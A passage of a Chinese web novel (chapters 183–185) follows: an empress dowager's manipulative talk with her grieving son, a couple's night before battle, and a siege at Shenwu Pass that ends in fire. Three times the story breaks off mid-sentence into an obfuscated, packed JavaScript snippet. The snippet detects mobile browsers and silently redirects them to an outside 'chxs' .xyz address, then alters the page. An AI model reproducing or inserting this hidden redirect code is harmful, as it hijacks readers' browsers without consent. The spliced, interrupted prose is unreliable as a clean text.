御用之物,冯太后共收到六架。勤政殿一架,元瀚海宅邸一架,桐花别苑、太尉班益、司农令云飞燕府上各一架,剩余的一架冯太后并未自用,而是赐给了他。 元旭看着镜中消瘦而凹陷的自己,出神良久。 院中传来奚寒的声音:“侯爷,太后娘娘召见。” 183. 母慈子孝 阊江王宫的宝慈宫,格局和昇阳王宫一致,唯独院中的花树不同——如今是海棠。元旭想起昇阳那棵很老的梨树,这个时节应该花开满树、像积了一丛又一丛雪,风一吹就纷纷扬扬飘落满院。 他小时候最喜欢在树下捡完整的梨花,再用针线穿成一串。庭院里起初有四哥、五姐姐和褚姐姐,他是最小的那个,都很照顾他。 后来承陵会走路了,大嫂时常带他进宫玩耍,再后来又添了承赟、念笙……他曾以为梨花树下的人会越来越多,也一直这般憧憬着。 现在,只剩他一个人了。 元旭穿过庭院时,宫人正簇拥着承祎从后殿走出,满脸泪痕、眼眶通红。元旭忙稽首见礼、膝盖还没弯下去,承祎一把拉起他,哽咽道:“六叔免礼。” 元旭叹了口气:“陛下莫要放在心上,王祖母也是为了陛下好。” 承祎挤出微笑:“朕知道,只是人有七情六欲,一时难以自抑。” 元旭听他如此老成的语气,心头更悲恸,强笑着说:“虽已开春,夜里仍有些凉,陛下早些回寝殿吧,莫受了风寒。” “叔父在奉宁受苦了,朕没那么娇贵,只是闷得很”,承祎仔细打量了他一番,眼里涌出希冀,“好容易盼到六叔回来,我和徽儿还能去你那玩吗?就只在鹤雪别苑,不会跑远让祖母担心……” 元旭垂下眼眸:“臣不知道。” 承祎不以为意地笑笑,没有说话,一群宫人前呼后拥围着他出了宝慈宫。 一踏进寝殿,元旭就嗅到浓浓的沉水香气息,混着淡淡焦糊味,烟熏火燎的。冬雪守在西暖阁门口,轻轻对他摇了摇头。 木质槅门的隔声效果并不好,元旭隐约听到暖阁内传出冯姮的声音,带着阵阵低泣。 “阿晴,娘亲对不住你……你这些年为了翊东三十五城百姓,舍身事敌、牺牲得太多,可娘亲不能寒了忠君义士的心,实在情非得已。你安心去吧,等娘收回失地,就将真相大白于天下,为你平反、将你供入太庙受万代香火。” “阿旻你糊涂啊,娘为你筹谋大半辈子,什么时候害过你?末了末了,在你心里还比不上那朝秦暮楚的狐媚子可靠。娘做的一切都是为你好。真心疼你的人你弃若敝帚,不拿你当回事的你视若珍宝。” 元旭静静听着,微微低头垂眸,眼眶一热、流下两行泪。 槅门忽然被拉开,冯太后站在一方壁龛前,两眼含泪、正将三炷香插进香炉。 他柔声道:“儿臣向母后请安,分别近一年,母后可还康健?” 元旭正要屈膝下拜,冯姮已疾步走过来,用仅剩的右手虚虚一扶,冬雪忙搀住他:“六殿下不必多礼。” 冯姮急切伸手,摸了摸元旭凹陷的脸颊、捏了捏松垮的衣袍,心疼地流下泪水:“回来就好,回来就好。” 她往里让了几步:“过来给你四哥和五姐姐上柱香吧,报个平安。” 元旭走进暖阁,冬雪身边的小宫女忙放上几个蒲团,元旭跪在柔软的蒲团上,抬眸看去,一尺深的壁龛内供奉着两张牌位:元旻、元晴。 壁龛下的条案上,供奉着新鲜的红梅、荔枝和香芒。 元旭振衣下拜三次,将香插进香炉后,宫人正捧着红梅、端着果盆鱼贯而入。冬雪絮絮叨叨:“娘娘为四季有新鲜红梅供奉,单独在北苑辟出一间花房。” 元旭瞥见红梅,惊愕了片刻,旋即流下两行泪水:“母后,对不起……我没防住使团里居心叵测的贼子,是我害了五姐姐……”说着说着,逐渐泣不成声。 冯姮长叹一声,温柔地抚摸着他头发:“傻孩子,这怎么怪得了你?只有千日做贼没有千日防贼的。” 她又心疼地捏了捏元旭脸颊:“可怜孩子,瘦得只剩皮包骨了,你这半年遭了大罪。锦珠每天担心你,吃也吃不下、睡也睡不好。这些天就别回去了,去锦珠跟前陪她说说话,每日多进些温补的膳食,好歹先养回几斤肉。” 元旭连连点头,泪水潸潸流了满脸,全身不断颤抖,冯姮满眼心痛,一下一下替他慢慢顺着后背。 他哭了许久,吩咐仆妇捧进一个木盒,声音暗哑:“去年端午进宫拜见五姐姐,她说西羌进贡了些药材、可医治头风,托我带给母后,若是合用有效,以后每年让他们多进贡些。可是……可是……” 冯姮脸上表情僵了一瞬,然而仅仅是一瞬,旋即平静如故,含泪微笑着让冬雪收好,轻轻抚摸着他的头、连声叹息。 元旭又命人奉上一只精巧的漆盒,哽咽着说:“这是孩儿的一点心意,埃兰国那边行商售卖的安神香,愿能为母后纾解疲劳、镇定宁神。” 冯姮揭开漆盒瞥了一眼,递给冬雪:“不必找御医查验,今晚就在寝殿里点上。阿旭,也别只顾着母后,你九叔膝下无子,你更要多照应些。” “多谢母后提点,九叔好点茶品酒,孩儿这一趟也给九叔带了时兴酒器和茶具”,元旭觑着她神色稍霁,泪眼汪汪哀求,“母后,把四嫂的牌位……” “傻孩子啊——”冯姮喟然长叹,打断他接下来的话,眼里涌出泪水,“吃了这么大苦头,怎还如此心软?” 元旭咬紧下唇,一双通红的泪眼、楚楚可怜又脆弱无辜:“她是母后一手养大的啊,就算她不嫁给四哥,也还是我表姐,根据父王嘱托、更会……” “会被册封为公主,待你顺利就藩,她的女儿身大白于天下,退可敕造公主府招赘驸马、过富贵安生日子,进可入仕辅政,有什么不好?”冯姮幽幽接口,满脸恨铁不成钢,却红了眼眶。 “可她不安分不听话,信了宫里那些腌臜传言,真以为自己出身卑微,却又心比天高。母后安排她相看的高门子弟,她一个都看不上……原来是看上你四哥身边那位置,近水楼台先得月,哄得你四哥连赐婚圣旨都请了。” 元旭难以置信地看着她,拼命摇头:“不可能,四嫂去荣国之前根本不知道自己是女子。何况宫里人都知道,明明是四哥先封锁兴庆宫,强、强……”他低下头,双颊绯红,说不出后面几个字。 “傻孩子,你跟阿旻一样老实,看不透女子那些欲擒故纵的手段”,冯姮心痛地叹息,“她哪是不知道?征和十九年夏天我替阿英裁衣,从她胸口掉出一块丝帕,花纹材质正是阿旻常用的,染着陈旧血迹……她若不知自己是女子,藏着阿旻贴身之物是何意?” 元旭惊得说话开始结巴:“可九叔说她在灵昌……还为这事找过母后您。” “呵,储君变质子,立马去接近别国宗室子”,冯姮唇角扬起冷笑,泪水却不断涌出,“阿旻一夺位成功,又回头去捡青梅竹马的情分,好机变、好手段,只是何等凉薄?” 元旭呆住了。 冯姮一边流泪一边冷笑:“我原劝着阿旻,她既已有二心,不如停了册后圣旨,顺势让她归宗大族、封她为公主嫁到灵昌去,两国联姻几全齐美。阿旻答应得好,转头就夜宿兴庆宫,我还能说什么?” “好好的兄妹变夫妻,说好听是青梅竹马,说难听些是乱/伦、乱/伦……” 元旭呆住了,慌乱地抬眸、满眼哀求:“可四嫂好歹生育了两儿一女,又薨在替四哥复仇的路上。” “从摄政太后的角度,她配得上立传修志、供奉太庙”,冯姮满眼含泪,“可作为她和阿旻的娘亲,我无法原谅她。得了王后之位也罢,还那般醋妒,哄得阿旻虚设六宫。若非如此,堂堂一国之君,怎会直到过世、膝下才两位王子?” “她身子不好,刚成婚时候我劝她莫要急着诞育子嗣。偏她多思善妒,争宠争得连自己性命都不当回事,竟哄着阿旻杖毙太医”,冯姮越说越悲愤,泣不成声,“她生承祎兄妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943148|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那会儿,我几天几夜没睡好,她本可以不必如此辛苦,有我和阿旻在,无论纳多少妃嫔,谁又能越得过她去……” “怎么会这样?不是的……”元旭第一次听到这些内情,惊得忘了哭泣,泪水干在脸上,只喃喃低语,“不是的……” 冯姮注视着惊惶无措的元旭,含泪露出慈爱笑容:“阿旭,这些话你听了便罢,烂肚子里吧,家丑不可外扬。娘亲也是为着一番苦心无人领情,倒在小辈面前失态,实在忏愧。” 元旭抽噎着说:“儿臣心疼母后。” 冯姮面露欣慰,轻声叹息:“莫要哭了,娘知道你心软,说来说去也就那么点事。阿英无论是匡扶正统、还是做王后,也没其他可挑剔的,更对娘和阿旻有救命之恩。娘也心疼她出身低微、只能变着法儿往上走,无非心里过不去这道坎……” “阿旭知道。”元旭抽泣着,拿出丝帕替冯姮拭泪。 冯姮接着说:“阿英自小孤弱可怜,你帮娘办件事——在家里替她供个灵位吧。” 元旭眼里闪过狂喜,飞快回答:“儿臣遵命!” 冯姮含笑颔首:“小祠堂弄好些,陛下每天在宫里闷得很,你那宅子离宫门近、安全无虞。让他得空去你那转转,也拜拜亡母,稚子无辜,那孩子我看着心疼。” 元旭乖顺地躬身长揖:“既有陛下驾幸,儿臣绝不轻慢、务求尽善尽美。” “无妨,无妨……”冯太后慈眉善目挽起他的手,“说了这会子话,人也乏了,娘已经吩咐小厨房做了一桌你爱吃的菜,派去请锦珠的人也该回来了,咱们三人好好聚一聚。” 元旭擦了擦泪水笑了,满脸孺慕地注视着冯姮:“儿臣定不辜负母后苦心。” . 三月底,阊江全城张灯结彩,共贺平南侯元旭与冯广年外甥女班珂订婚大喜。 然而,订婚之喜刚刚过去不到三天,一封塘报八百里加急抵达阊江:崔玄仁叛变,夤夜率亲兵投奔荣国太尉苻洹。 紧跟着更多的战报传到阊江,一封比一封严峻、一封比一封沉重。 崔玄仁投敌之后,调头骗开金州城门、引荣军入城,并于望楼之上敲响警钟,罗列阊江朝廷苛待镇南府条条明证,近六成底层武官和士兵被劝降。 旋即,崔玄仁亲兵俘获数十名抵死不降的将领,斩下头颅悬于城墙之上,剩余金州军见大势已去,尽皆卸甲投降。 苻洹困而不攻,兵不血刃拿下金州,城中仅剩的三万金州与英平郡十万步兵合军,由苻洹就地打散改编。而后,一半人留驻金州守城、保障辎重后援,一半精兵由沈绍宗带领,顺夏河一路向东行军。 “沈侯率兵追出约两百里,在一个叫丹水口地方遭遇翊国伏兵”,郎琊沉声道,“领兵的主帅咱们从未交过手,叫晏驰。虽不及太尉骁勇善战,却也算得上砥柱之才,深得南翊太尉信重。” “南翊又有太尉了?”苻洵有些讶异,“谁?哪个世家大族的?” “并非什么大世家,原本依附昇阳冯氏,家主与冯广年是连襟”,郎琊一边回忆,一边条清缕晰娓娓道,“叫班益,家族靠军功发迹的,历代就职军中、立功不少,征和一朝与冯氏联姻后,才得了更多机会。” “冯太后绝不会重用废物”,苻洵蹙眉摇摇头,忽然眼神一冷,“班?有点耳熟,我最近是不是还从哪儿听到过姓班的热闹事?” “正是,平南侯元旭上个月订婚,未婚妻便是班益的幼女。” 苻洵怔了片刻,露出苦涩而欣慰的笑:“他终于不再是小孩,夫人也该高兴。” “说起夫人……”郎琊酝酿半晌,神色恻隐而艰涩,奉上一卷轻薄的丝绢,轻声道,“主子,秦川从金州传回的密信。” 苻洵展开丝绢瞥了一眼,神色大变,怔愣片刻红了眼圈:“我去同夫人讲。” 184. 欲买桂花同载酒 地皇山有一片向阳山坡,生长着大片槐树,已是四月初,远远望去像是洁白的瀑布,流珠泄玉。这片满目疮痍的土地,并未影响蜜蜂蝴蝶的兴致,它们循着甜丝丝的香气就来了,点缀在花间翩然起舞。 苻洵找到舜英时,她正在在一串串槐花间跳跃,身姿轻盈得像一只黑色的凤尾蝶。 他看着欢快的她,眼眶一阵阵发热、鼻子发酸,攥紧掌心那封薄绢密信。 她兴奋地扬了扬手:“阿洵快来看,这儿好多槐花,多采点回去炒鸡蛋、还可以蒸槐花饭。” 苻洵赶紧将密信塞进里衣,愣愣注视她半晌,揉了揉脸露出笑容,三步并作两步跳到她身边,语气轻快地问:“你不是说来打猎吗?怎么采上槐花了?” “听他们说山里有一窝狼,时常出来袭击辎重部队,就想着带一队人来剿了,免得影响粮草运送”,舜英有些怏怏的,“可剿着剿着于心不忍,就算了。” 苻洵微愕:“怎么个不忍?” 舜英笑了笑,眼神有些迷惘:“我们到的时候,正赶上一头母狼捕猎一群野兔,那群兔子也真灵性,出来八九只围着头狼打转,不要命似的往上冲。我还诧异呢,一转头发现有三只个头更大的兔子往另一个方向逃,每只兔子都叼着野红薯,可能是巢里有母兔子吧。” 苻洵身躯一震,恐惧而急切地问:“后来呢?” 舜英眼睛亮亮的:“那七八只野兔哪够缠住狼啊,母狼解决掉它们后又去追跑掉的三只,谁知那三只里最大的那只突然返身折回,跟母狼打了起来。” 苻洵眼圈发热:“兔子跟狼打?” “我当时也诧异得很”,舜英仔细回想着,脸上有掩盖不住的叹服,“更奇的是那只母狼,居然就这样放过那三只兔子,一直等到三只兔子回洞后,才呼唤同伴出来叼走其他兔子。” “后来我就想啊,畜类捕猎亦是为了活命,尚能放猎物一马,我又何必赶尽杀绝?以后运送辎重加派些护卫就行了。” 苻洵别过脸、待眼角酸涩消散,才看向她,弯了弯唇角柔声道:“那咱们多摘些槐花,到时候也送些给武煊,散伙之前还算袍泽。” 舜英听到这话,唇角浮起一丝轻松的笑:“快七年了,终于有望夺回朔门关。” 三月上旬,因那三十船粮草,饿了许久的北翊骑兵军心大振。中旬,两国联合大军已迅雷不及掩耳之势、夺回神武关,入驻临梁郡。 两国骑兵进驻临梁郡的那个黄昏,武煊站在神武关巍峨的铜门下,身躯颤抖着跪了下去,热泪盈眶。 “五哥,姜都督,收复武原城有望了!阿煊没给你们丢脸!” . “好久没吃过这么新鲜的槐花饭和槐花炒蛋了,你们两口子够仗义。” 武煊当着苻洵和舜英的面,将送去的饭菜吃得半点不剩。又耍把式似的从怀里掏出张薄饼,蘸了点水将碗底和盘底擦得干干净净,全部塞进嘴里,抻了抻脖子,灌进去几口水,舒坦得长吁一口气。 苻洵感觉自己喉咙也被什么哽住,痛苦而嫌弃地挑了挑眉,别过脸不再看他。 武煊却饶有兴味地开始追忆往事:“上次吃到这么香的槐花饭,还是在你们凤台郡……” “凤台郡?什么时候的事?”苻洵也来了兴致。 “十多年前吧……对了,就是我遇见你的第二年”,武煊兴奋地点点头,眉飞色舞道,“那年三月底,阿七兄弟……也就是褚王后,回灵昌的时候顺道来看我,槐花开得正好,她就带同行两位姑娘上树摘了一箩筐,不到一个时辰出锅。” “那以后,我可再没吃过那么新鲜的槐花了。” 苻洵一对桃花眼顾盼流光,似笑非笑瞥向舜英:“十几岁啊,真是令人难忘的好时节。” “是啊,好时节,对了,你们等一下”,武煊心念一动,转身走到床前,贴着地面趴下去倒腾一阵,十分宝贝地掏出三个漆黑的酒坛子,“你们请我吃饭,我请你们喝酒。” 苻洵瞥见封条上的“桂花酿”三个字,眉开眼笑一只手抢过一坛:“你居然知道我喜欢桂花酿,我就不客气了。” 舜英:“……” 武煊猝不及防愣在原地,蹙眉看了看自己手中一坛,又看了看苻洵手中两坛,跳脚叫起来:“你还真不客气!军粮短缺,我好不容易才存这几坛。” 苻洵一脸平静地问:“你这三坛酒,不是我们每人一坛?” “是打算每人一坛。” 苻洵理所当然道:“那不就结了,夫人酒量差,我代她喝了。” “你这……”,武煊噎了一下,忽然笑容一僵,旋即若无其事怒声道,“你怎么比十几年前还讨人嫌?你知道吗,我见你第一眼就想揍你!” “揍啊”,苻洵慢悠悠揭开一坛酒,“反正你又打不过我。” 武煊像模像样转了转手腕,提起酒坛往帐篷外走去:“天色还早,咱们要不去跑跑马?消消食?” 舜英是和苻洵同乘一骑来的,若要跑得畅快、还需从翊军马厩里再牵一匹,武煊稍加思索,牵出一匹两肋和肚腹带有白点的黄马:“这可是我最喜欢的一匹,咱们照顾女子,暂借给许姑娘一骑。” 舜英注视一瞬那匹熟悉的黄骠马,意味深长瞥过武煊,平静从容地接过缰绳,轻盈跃上马背,黄骠马欢快嘶鸣,撒开四蹄向北飞驰。 神武关巍峨高耸,几百年的风雨在门上覆盖一层又一层铜绿,武煊情不自禁伸出手去抚摸着爬上的青苔,热泪盈眶。 “一鼓作气,夺回朔门关!” 武煊喝干酒坛中最后一滴,难耐兴奋欢呼雀跃,紧握苻洵双手、给了他一个拥抱:“等夺回朔门关,咱们就要分道扬镳了,并肩一年多还有些不舍,反正你以后长驻北卢郡,不如交个朋友、得空还能一起喝喝酒?” 苻洵嫌弃地在武煊身上擦了擦手,走向马匹:“我没你这种缺心眼的朋友。” “别这样嘛,我可是某人最要好的发小,你信不过我,还信不过她的眼光?”武煊嬉皮笑脸追上去。 舜英站在苻洵身后,易容粘胶下的面皮抽搐几下,右眼皮跳了跳,含笑向苻洵使了个眼色。 苻洵抱臂凉凉道:“你不舍有什么用?你家姜夫人到现在还想要我脑袋呢。” “此一时彼一时,现在指不定有转圜”,武煊尴尬地摸着鼻子,环顾四周、压低声音道,“北宛密报,你家丞相又去和谈了,估计是看着北宛快被赶走了,谈谈怎么答谢荣国。” “倒也不必言谢,不过是一起收拾自家闯下的烂摊子,不要我脑袋就成”,苻洵笑吟吟挽过舜英的胳膊,“既已与夫人许诺白头之约,怎舍得抛她孤零零一人。” 武煊唇角抽搐几下,不忍直视别过脸,想了片刻凉凉道,“建业侯风流倜傥之名举国皆知,敢问盟约白首的是哪位夫人?还是说——每一位?” 苻洵慵懒地一转眼波,桃花眼风情无限:“自然是……” “所以,脑袋的事到底怎么说?”舜英听他们越扯越远,忙出声拉回正题,“姜夫人和承赟是宁折不弯的性子,怎么这会儿齐齐松了口?” 武煊意味深长瞄了她一眼:“许姑娘问得好,自然是因为粮草。” “先是从阊江过来的三十船粮草,听说前些天三军郡粮草短缺,建宁陛下又支援了十船粮草……实打实从你们自家国库挤出来的。” 苻洵愕然睁大双眼:“整整十船?!” 武煊笑吟吟地说:“是啊,你三哥真够意思,阊江那边都不管咱们了,到头来居然是他绞尽脑汁为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947129|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们支援粮草。” 舜英笑了笑,补充道:“国库财帛难以支撑,他就书写谕旨布告全国,呼吁抵御异族关系种族存亡,更带头裁撤宫人、开国君私库筹集钱粮。” . “我的脑袋就只值四十船粮草?”苻洵在帐篷里懊恼地拍着脑门,“凭什么比元旭少十船?我还不如他值钱?” 舜英感觉他的关注点十分奇怪,默默瞟了他一眼,一时竟不知该怎么接话。 她坐到床沿,拉开床边简易木桌的抽屉,拿出个深蓝色瓷瓶,又自顾自倒了杯热水。 瓷瓶里是蛮疆秘制的避子药,蛮疆民风开放,女子与情郎欢好却不愿有孕、可以喝这种草药汤避子。这药丸改良那草药汤而来,又淬炼出团丸,方便携带,药效温和对身体无损,却需男女双方同时使用,每天都化入水中服食方能见效。 这几天不知怎地,总一阵阵心悸和焦灼、集中不了注意力。她心不在焉将瓶口对准手掌,倒出最后一粒药丸,晃晃瓷瓶发现已然空了。 “我怎么就不如元旭值钱?”苻洵仍在帐中烦躁地踱来踱去。 舜英有些诧异地瞄了他一眼,觉得他今晚有些不同,老是纠结那些从不在意的细枝末节,倒像是用夸张言行在掩饰什么。 “坐下,走来走去我瞧着头晕”,她叹了口气,晃了晃瓶子,“药吃完了。” 苻洵从善如流地在她身侧坐下,拿过瓷瓶瞄了一眼:“等这边战时结束,咱们回将军府再配就是。” 舜英表情凝固,一瞬不瞬注视着他。 苻洵挤出个笑容:“快了快了,夺回武原城指日可待,反正军营里不能乱来。“ 舜英的心慢慢沉下去,狐疑地盯着他:“阿洵,你是不是瞒着我什么事?” 苻洵如梦初醒,笑了笑:“回去再跟你说。” 觑着她的神色,他伸臂揽住她,唇角翘起温柔的笑容:“刚刚想事情忘了,咱们很快就用不上避子药了。” 舜英心下稍安,如释重负挤出一个笑容:“是啊,咱们拜堂时说好的,绝不让儿女出生在动荡的世道,等赶走北宛狼骑再要孩子。” 她弯唇笑着,将空空的瓷瓶放回抽屉,手腕无端传来刺痛,她手一抖、瓷瓶磕在桌子边缘,磕得粉碎。 突如其来的两耳轰鸣,恐惧和焦灼淹没了她,她怔怔盯着自己掌心,那阵刺痛消失了,手却仍是麻木的。苻洵注视她片刻,默默牵过她的手,顺着尺泽穴、曲泽穴、孔最穴轻轻向下揉捏。 手部的麻减轻了些,她心绪纷乱地躺下,苻洵摊开薄被子给她盖上、也钻进被窝侧身躺下,从背后抱住她,柔声道:“姐姐最近操心粮草、太过疲累,什么都别想,睡一觉起来就好了。” 思忖片刻又说:“若是睡不踏实,我去找些安神汤来?” 他的体温是滚热的,抱着她的时候,她后背前额逐渐沁出一层薄汗,她轻轻伸手一抹、额头和脸全是冰凉的。 是冷汗。 “出了太多汗睡不着,找个水池痛痛快快浸一下?”她转过身扯了扯他袖子,挑眉扬起几分促狭,“我记得城西离这儿不远处,有家儒商斥巨资造了座园子,后院荷花池全部引的活水……” 曾经的风雅园林芜草丛生,那些从各地高价搜罗的假山奇石,碎的碎、长满青苔,倾颓得不成样。 苻洵蹲在水边用手捞了捞,翻来覆去观察片刻:“确实挺干净,你怎么找到这个好地方?” “武老六的娘子是临梁大族,自然是她带我来的。”舜英得意洋洋笑了,笑着笑着就再笑不出来。 那还是永平二年,她刚成为王后。那时候她还很自由,为了筹建九功馆、白龙鱼服四处奔走,来这里赏花、品茶、观景、看灯饮酒。 一晃十二年。 185. 火烧连营 天边新月冷白似霜,倒映在粼粼波光中,绞碎满池银白。 他们在清澈的水中浸了不知多久,浸得疲惫全消,浸得她这几日的心悸焦灼逐渐沉静。换上干净衣袍后,他们依偎着坐在池边一棵大树下。 苻洵低头亲了亲她:“这儿风吹着凉快,不若就在这园子里纳着凉睡会儿?” 舜英轻轻“嗯”了声,脸颊贴着他的胸膛、闭上眼睛,苻洵扯过一旁的大氅围在她身上。 草丛里虫鸣此起彼伏,更显得夜色幽静寂寥,舜英迷迷糊糊睡过去。苻洵静静看着怀里,注视良久,鼻子越来越酸、泪水模糊了视线。 怀里的人似有所感,脑袋在他胸口蹭了蹭,睡眼朦胧地问:“阿洵,你喜欢儿子还是女儿?” “女儿,像你也像阿忆,伶牙俐齿、会撒娇招人疼”,苻洵笑了笑,将滑落的大氅拢好,“我小时候一天三顿打,得亏哥哥脾气好有耐心,要生个跟我一样的儿子,烦都烦死了。” “我小时候也很调皮,仗着师父教得好老跟人打架”,舜英偷偷笑了,“最厉害的一回,把武煊揍得鼻青脸肿,第二天直接卷铺盖跑上阳去了。至于会撒娇……” 她抬眸瞟过苻洵,促狭地眨眨眼:“再来个男孩子,像阿旭也像阐儿,白白净净斯斯文文、专会疼别人。” 苻洵伸手抚上她柔软的小腹:“最多一个就够了,生孩子又痛又危险,不生最好。你要实在喜欢小孩,保育院多得是,或者咱们还跟从前一样,收养袍泽遗孤。” 舜英有点惊讶,她长于昇阳王宫、接触的都是宗室,日复一日受此观念熏陶:男子对女子深情的最好方式,便是对她恩宠不断、与她子嗣繁多。最明显的例子就是崔夫人,昭王六子二女,她独占三子一女,算上多次小产和夭折,昭王至少九成的恩宠和子嗣都给了她。 就连男女相对平权的翊国,似乎也都忽略那个显而易见的事实:生孩子又痛苦又危险。 正因如此,苻洵才是独特不羁的啊,她想着便笑了:“那就保育院吧,我倒希望没那么多需要收养的遗孤。” “会越来越少的”,苻洵刮了刮她鼻子,柔声说,“哥哥和靖安陛下的关系缓和许多,他们的人品禀性你清楚得很,指不定以后真能有几十年和平。反正咱们只管夺回武原城,剩下的交由他们去谈。” “好,等到那天咱们就回将军府,镇着西羌诸小国,打一打敢越过边墙侵袭的北宛散骑”,舜英唇角扬起欣然微笑,“再生个女儿,收养一堆孩子,教他们武艺、骑射、音律,吵吵嚷嚷、热热闹闹……” 她轻轻说着,声音越来越低,逐渐转为梦呓、轻柔得微不可闻,消散在夜风里。 在梦里,她发现自己变成了白天看到的野兔,在幽暗森寒的丛林中飞快跑啊跑,身后有什么穷追不舍。她拼命奔逃,终于看到一条深长的峡谷裂缝,对面是一碧无垠的青青嫩草,阳光明媚春暖花开。 她狂喜难抑奋力一跳,掠过脸颊细毛的风带着自由气息,温暖而香甜…… “当——”清脆的晨钟敲响。 荒园相依相偎的两人酣梦乍破,二人相视一笑,轻身跃过一重重倾颓的屋面屋脊,稳稳当当落在军营辕门外。 昨天的晚饭都加了肉和细粮,马厩中所有马匹已喂好,苻洵和舜英策马到神武关之下时,北翊骑兵也将将抵达,在城楼下列好方阵。 几十架投石器在神武关下呈一字排开,络绎不绝的攻城锥从骑兵方阵中线被推出。骑兵方阵前方,上百架云梯和扶着云梯的猛将严阵以待,只等九死一生占据城头,博得先登功名。 武煊特意披上武焕生前那套银色软甲,手执姜榷常使的长槊,在一堆铁甲森森的重骑中分外扎眼。 “就当姜都督和五哥也在,与我并肩杀敌。”他粗糙的手发着颤,轻轻抚过磨亮的硬木杆,直看得舜英眼眶发热、心潮澎湃。 “攻个城那么多废话,矫情!”苻洵不屑轻嗤,转头看向西边临梁群山千仞峭壁。 舜英伸手拧了一下他胳膊:“不会说话就闭嘴。” . “夺回武原,收复河山!”震耳欲聋的呼喊排山倒海,穿透云霄,穿透八百里乌兰山。 “攻!” 两方阵营中的裨将用力挥动红旗,号角连营烽火起,战鼓催征马蹄疾。投石器掷出的巨石砸入瓮城,推着攻城锥、抬着云梯的步兵一马当先,三排弓箭手与盾兵参差排列紧随其后,如汹涌的激流、直直冲向巍峨城墙。 城楼上架起无数床弩和弓箭,千万箭矢劲射如雨。箭头撕破气流发出锐利尖啸、巨石砸碎□□沉浊的闷响、锐器刺穿躯壳血流汩汩、攻城车撞击铜门的轰隆声、利刃刮过人骨的摩擦声、喊到一半戛然而止的惨叫…… 满耳混乱嘈杂、满眼血肉横飞、满鼻子血腥恶臭。 “咚”、“咚”、“咚”……攻城车的声音响得连大地都震颤起来。 乱石和箭雨轰鸣着在空中乱飞、门闩摇摇欲裂、守军在一拨又一拨冲击下守势渐颓。 撼天动地的巨震中,第一重城门轰然洞开。 “这是主大门,最难的一道门攻破了”,武煊长舒一口气,似笑非笑斜睨着苻洵,“堂堂荣国战神,传说你闪电战玩得炉火纯青,就没什么秘密武器,非要这样一道一道去撞门?” 苻洵很真诚地叹了口气:“打了好几年,没钱,养不起什么秘密武器。” 武煊得意洋洋:“终于轮到我风光一回!” 乱战中的城楼上,忽然悬下数十条丝索,矫捷的身影似飞鹰、顺着丝索稳稳落下,纯钧带着武士穿越乱军如履平地,疾步走到武煊面前:“武将军,好了。” 随着他话音落地,主大门后的三重瓮城门从内次第展开,一名身穿黑色短打的小将骑马从城内飞驰而出,遥遥呼喊:“武卒营校尉方伦,向武将军复命。” “干得漂亮”,武煊爽朗大笑,“武功高强的内卫搭栈道,武卒营率先潜入、从里面开门,我也学会了。” 苻洵和舜英忽然收起笑容,命骑兵原地待命,直勾勾注视着三重瓮城,慢慢驱马向主大门踱去。 武煊抬高手臂,斩钉截铁挥落:“大翊的好男儿,冲!” 先军似离弦之箭冲入主城门,身后队伍紧随其后,依次通过第一重、第二重、第三重瓮城…… 亲兵簇拥着武煊即将通过主城门时,苻洵和舜英也刚刚走到城下,苻洵脸色骤然凝重、瞳孔急遽收缩,嗅了嗅鼻子。 与此同时,舜英惊恐高呼:“武六,回来!” 她身体比脑子反应更快,足尖一点从马镫上弹跳而起、扑向武煊,同时手中马鞭如长蛇甩出,卷住武煊腰部往后用力一扯。 武煊体重有些扎实,她被鞭子带着往前飞去,与往后飞的武煊即将撞到一起。电光火石间,苻洵一手揪住坐骑鬃毛,右手迅速一捞、抓住舜英脚踝往后一扯,然后坐回马背,左手抓住缰绳勒紧、控制住痛得即将发狂的坐骑。 舜英攥着鞭子被苻洵扯回箍进怀中,鞭子的力道卷着武煊往后飞了近两丈,不偏不倚落进重骑兵方阵,落回地面砸得尘土飞溅。 靠近他的重骑兵们齐齐僵了片刻,赶紧手忙脚乱往后退散,围成一圈护住他、以防他被别的马匹踩到。幸亏他很皮实扛摔,不过须臾立刻站起来,拉过重骑身边的一匹空马跳了上去。 惊魂未定的武煊满脸怒火,骂骂咧咧看向舜英,忽然一怔,猛然勒住缰绳、急遽调转马头向后退去,同时高声呼喊:“退出百丈!” 灼热的气浪扑面而来,膨胀的热流将靠近正门的数十名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951872|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骑兵、连人带马齐齐弹飞。 “轰”,亮黄的火光伴着浓烟冲天而起,照亮城外众将士惊恐的眸。三重瓮城陡然炸开无数绚丽的火焰,那火焰跳跃着膨胀、活了般贴地四处溢流。 